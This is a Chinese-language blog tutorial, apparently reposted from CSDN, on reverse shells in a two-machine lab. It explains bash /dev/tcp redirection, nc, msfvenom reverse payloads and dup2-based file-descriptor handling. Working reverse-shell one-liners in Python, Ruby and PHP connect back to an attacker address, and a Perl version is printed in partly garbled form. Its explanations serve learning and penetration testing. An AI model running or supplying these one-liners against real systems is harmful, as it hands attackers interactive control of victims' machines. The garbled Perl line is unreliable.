啥是佩奇?--反弹shell的各种姿势和原理给你配齐

啥是佩奇?–反弹shell的各种姿势和原理给你配齐

先来看两台机器ip
攻击机(称主机A)
在这里插入图片描述
靶机(称主机B)

在这里插入图片描述

1bash直接反弹
在主机A使用nc监听
在这里插入图片描述
在主机B上使用bash直接反弹
在这里插入图片描述
此时主机A收到shell了
在这里插入图片描述
这种方式是完全从原理出发,而且涉及到linux的一些本质知识点,所以展开来具体说一下。
关键点在主机B上执行的那一句话。
1.Bash –I 即产生一个bash交互环境
2.>& 1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
3./dev/tcp/192.168.0.105/123 让主机B与主机A(192.168.0.105)进行tcp连接,端口为123(注:linux下所有内容都已文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)

& 后面接 /dev/tcp/ip/port,根据3 的注释和2的注释1)可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的远程主机A上,此时如果主机A正在监听相应的端口,就会收到主机B的bash的标准输出和标准错误输出
4.0>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到主机A了,添加这一部分是因为如果没有这一部分,在主机A上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在主机A看来,就相当于拿到了主机B的shell
(注:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

根据分析我们可以修改一下这句话,看看是否如我们分析的这样
1) 将0>&1修改为0>&2
同样现在主机A开启监听
在这里插入图片描述
主机B修改后执行
在这里插入图片描述
主机A同样的效果
在这里插入图片描述

2) 不添加 0>&2
主机A连接
在这里插入图片描述
主机B修改后运行
在这里插入图片描述
主机A同样建立了连接,但是输入命令是没有效果的
在这里插入图片描述
在主机B中输入命令时,主机B没有回显,回显出现在主机A上,命令执行后的回显也是在主机A上
在这里插入图片描述
这正好说明了缺失4部分的内容时,主机A只能标准输出和标准错误输出,没有标准输入
这一部分的知识点非常重要,好好理解。
2利用nc
主机A开启监听
在这里插入图片描述
主机B反弹一句话
在这里插入图片描述
命令的意思是:使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
此时反弹成功
在这里插入图片描述

3.利用msfvenom
在主机A上使用msfvenom –l进行搜索相关payload
在这里插入图片描述
结合关键字进行过滤,优化搜索结果
本次要用到的是反弹shell相关的payload,所以关键字为’cmd/unix/reverse’,配合grep进行匹配即可
在这里插入图片描述
从结果中可以看到有许多实现的方式,包括lua、nodej、perl等,为什么会有这么多方式呢?这是为了适应不同靶机的需求,可能目标靶机上只有perl的执行环境,那么就可以使用perl实现的反弹shell的payload,如果靶机上只有python的环境,那么就使用python实现的payload,此处以python为例
选定payload后,设置后本机的ip和监听的端口
在这里插入图片描述
然后主机A上启动nc进行监听
在这里插入图片描述
切换到主机B,在终端输入msfvenom给出的payload
在这里插入图片描述
回车执行,即可在主机A上收到反弹的shell
在这里插入图片描述
事实上,这部分的payload解码后就是python的一段脚本
在这里插入图片描述
具体语言的反弹shell功能的实现会在下一部分提及

4.具体语言实现
先看python的
还是现在主机A上监听
在这里插入图片描述
然后主机B上执行python
在这里插入图片描述
此时在主机A上就收到反弹shell了
在这里插入图片描述
我们分析下这段脚本的内容
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.0.105’,123)) 建立socket连接

os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);使用了os模块的dup2函数和socket模块的fileno函数

fileno函数:返回套接字的文件描述符fd,如果从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,1与进程的标准输出相关联,2与进程的标准错误输出相关联。
Dup2函数:dup2传入两个文件描述符,f1和f2(f1是必须存在的),如果f2存在,就关闭f2,然后将f1代表的那个文件强行复制给f2,f2这个文件描述符不会发生变化,但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向
这句的代码的作用就是将fd2指向s.fileno(),而fileno()返回的是建立socket连接返回的文件描述符fd,也就是将将标准输入、标准输出、标准错误输出重定向到远程

p=subprocess.call([’/bin/bash’,’-i’]) 使用subprocess在本地开启子进程,同时传入“i“使得bash以交互模式启动
经过以上代码的功能整合,在主机A就相当于接收到了主机B的shell

其他语言的实现也是同样的道理,关键的点都在于建立socket连接以及之后的交互实现

比如说perl语言的
perl -e ‘use Socket; i = &quot; 192.168.0.105 &quot; ; i=&quot;192.168.0.105&quot;; p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
在这里插入图片描述

ruby语言的
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“192.168.0.105”,“123”);while(cmd=c.gets);IO.popen(cmd,“r”){|io|c.print io.read}end’

在这里插入图片描述
php语言
最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令,不过更常见的是这条命令
php -r ‘$sock=fsockopen(“192.168.0.4”,7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");’

3代表fsockopen函数建立socket连接后返回的文件描述符,在exec函数中进行重定向,其中的0,1,2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。
在这里插入图片描述

参考:

  1. shell各种姿势的备忘录http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  2. 其他姿势,请自行学习https://klionsec.github.io/2016/09/27/revese-shell/

猜你喜欢

转载自blog.csdn.net/yalecaltech/article/details/88901212
今日推荐